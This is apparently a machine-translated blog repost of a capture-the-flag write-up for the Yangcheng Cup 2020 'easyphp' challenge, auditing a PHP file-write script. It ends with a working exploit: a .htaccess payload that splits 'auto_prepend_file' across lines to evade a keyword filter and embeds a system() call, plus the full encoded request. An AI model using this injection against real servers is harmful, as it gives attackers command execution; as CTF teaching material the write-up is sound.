当前位置:网站首页>[Yangcheng cup 2020] easyphp
[Yangcheng cup 2020] easyphp
2022-07-02 23:02:00 【-Gardenia blue-】
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
Code audit
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
If not index.php page , Page data will be deleted
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
} If no incoming content or filename Parameters are directly die
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
Pass in parameters content To filter , Not by on html type flag upload file
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
Pass in parameters filename To filter ,filename Only lowercase letters and . constitute , otherwise die
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
Just like the initial filtering , If not index.php The data will be deleted
file_put_contents($filename, $content . "\nHello, world");
Put our incoming content content write in filename Inside
But notice that there is a splice here Hello world, It will cause our program to report errors
The original idea was filename by a.php,content Pass in a sentence , Result practice :
Discover as html Output directly on the page , There's no resolution , Maybe only parsing is set in the background index.php, After all, the code is right index.php There are many reminders , So I wonder if I can index.php We analyzed our htaccess, Just change the configuration item , So the learning boss learned that he really wanted to use htaccess To get flag
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>\
htaccess in \ The function of is to splice context , amount to php_value auto_prepend_file.htaccess
Because in order to bypass the filter, from file In the middle
Among them, the use of annotations # Write a sentence into , Because in htaccess Is the function of the annotator , But in php When it comes to execution , In a word, the Trojan horse will be executed
In the third line \ It is for splicing with the last part of the code Hello,world Also as a note , otherwise hello world Go to the fourth line to report an error
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C
边栏推荐
- 中国信通院、清华大学、腾讯安全,云原生安全产学研用强强联合!
- AES高级加密协议的动机阐述
- Construction of Hisilicon 3559 universal platform: rotation operation on the captured YUV image
- go 4種單例模式
- 首批 | 腾讯云完成国内首个云原生安全成熟度评估
- 数组进阶提高
- [LeetCode] 反转字符串中的单词 III【557】
- Motivation du Protocole de chiffrement avancé AES
- 数据标注典型案例,景联文科技如何助力企业搭建数据方案
- Learning Websites commonly used by circuit designers
猜你喜欢
创新实力再获认可!腾讯安全MSS获2022年度云原生安全守护先锋
boot actuator - prometheus使用
Niuke network: maximum submatrix
地方经销商玩转社区团购模式,百万运营分享
Local dealers play the community group purchase mode and share millions of operations
[NPUCTF2020]ezlogin xPATH注入
[羊城杯2020]easyphp
Odoo13 build a hospital HRP environment (detailed steps)
【硬件】标准阻值的由来
Splunk audit setting
随机推荐
Gas station [problem analysis - > problem conversion - > greed]
AES高级加密协议的动机阐述
easyclick,ec权朗网络验证源码
China Academy of information technology, Tsinghua University, Tencent security, cloud native security, industry university research and use strong alliance!
悬镜安全在RSAC2022上斩获Global InfoSec Awards四项大奖
Jerry's built-in shutdown current is 1.2ua, and then it can't be turned on by long pressing [chapter]
Analyse des données dossiers d'apprentissage - - analyse simple de la variance à facteur unique avec Excel
数据分析学习记录--用EXCEL完成简单的单因素方差分析
【板栗糖GIS】arcscene—如何做出有高度的高程图
Jatpack------LiveData
2016. 增量元素之间的最大差值
How does Jerry test the wrong touch rate of keys [chapter]
最小生成树 Minimum Spanning Tree
损失函数~
Jericho's thimble reaction when directly touching the prototype is abnormal [chapter]
手写ORM(对象关系映射)增删改查
Local dealers play the community group purchase mode and share millions of operations
Go four singleton modes
P7072 [csp-j2020] live broadcast Award
Graphic view frame